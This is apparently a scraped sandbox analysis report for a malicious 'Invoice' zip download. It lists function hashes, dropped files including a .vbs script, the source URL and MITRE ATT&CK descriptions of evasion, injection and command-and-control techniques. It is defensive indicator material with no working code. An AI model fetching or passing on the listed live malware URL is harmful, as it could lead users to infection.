Opcode ID: 3a0768f8394c4aabdfe1fc707d5aafa5d863b8be953b3b967d15437a681f9e9d
Instruction ID: 5defd63f79179b2b11291d01f8a580c188c482a1b16dd4ab386ed7f429e6d142
Opcode Fuzzy Hash: 3a0768f8394c4aabdfe1fc707d5aafa5d863b8be953b3b967d15437a681f9e9d
Instruction Fuzzy Hash: A4E086341483808FDB06CB74D4549A63FB16FE6218F5584EED405CF673C635D860DB41

Function 013223F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979050010.0000000001322000.00000040.00000800.00020000.00000000.sdmp, Offset: 01322000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1322000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f716bc225d635b259e7a9870b446a261cf11ac69f3dd1926ee4d9fce98428b06
Instruction ID: d08761cc0affb83e6aa662b0544357751c996dd228661cda3cd9ea313afca2bf
Opcode Fuzzy Hash: f716bc225d635b259e7a9870b446a261cf11ac69f3dd1926ee4d9fce98428b06
Instruction Fuzzy Hash: 66D02E392006904FE322AA1CC6A8B863BE4AB41B08F0A00FAEC008B363C36CD480C600

Function 013223BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979050010.0000000001322000.00000040.00000800.00020000.00000000.sdmp, Offset: 01322000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1322000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aed6070a960772b5322cd9159e444304f38f2fc6b1b0ac0907c1ec5ac22e099
Instruction ID: f2dafcf48849a195170564b05ccae08ddd3c921f8428d5104e579fddba87d700
Opcode Fuzzy Hash: 9aed6070a960772b5322cd9159e444304f38f2fc6b1b0ac0907c1ec5ac22e099
Instruction Fuzzy Hash: 0ED05E342002814BDB29EA1CC6D4F5A37D4AF40718F0644F8FD108B262C7A8D8C0CA40

Function 01440DE0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2979524132.0000000001440000.00000040.00000800.00020000.00000000.sdmp, Offset: 01440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1440000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3faba5e52f182f3f0d44926807340487d9f783e673ce54bdf65199b6b8072420
Instruction ID: 5d2c44c8dad300a2596782073991499b77b9b9e62dd54a60904d49891d04f86b
Opcode Fuzzy Hash: 3faba5e52f182f3f0d44926807340487d9f783e673ce54bdf65199b6b8072420
Instruction Fuzzy Hash: FBC012302003048BE704ABA9D458A6677965BE4218F86C079D6094F361CA74EC60CA84

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://www.bnaminexg.com/Invoice-yetdr.zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ioh3rww.fya.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l1xh3w2v.gsq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ql12fcc5.1tp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qmpijqgg.0no.ps1

C:\Users\user\AppData\Local\Temp\unarchiver.log

C:\Users\user\AppData\Local\Temp\vqyu22il.thm\Invoice-yetdr.img

C:\Users\user\Downloads\Invoice-yetdr.zip (copy)

C:\Users\user\Downloads\Invoice-yetdr.zip.crdownload

Chrome Cache Entry: 57

\Device\CdRom1\63534464.vbs

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Windows Analysis Report
https://www.bnaminexg.com/Invoice-yetdr.zip

Function 0132B246 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Function 0132AD04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 0132AB76 Relevance: 1.6, APIs: 1, Instructions: 93
pipeCOMMON

Function 0132A5DC Relevance: 1.6, APIs: 1, Instructions: 90
fileCOMMON

Function 0132A120 Relevance: 1.6, APIs: 1, Instructions: 85
fileCOMMON

Function 0132AD2A Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Function 0132A370 Relevance: 1.6, APIs: 1, Instructions: 80
registryCOMMON

Function 0132B276 Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Function 0132A850 Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Function 0132A933 Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Function 0132A5FE Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Function 0132A78F Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Function 0132AA0B Relevance: 1.6, APIs: 1, Instructions: 70
COMMON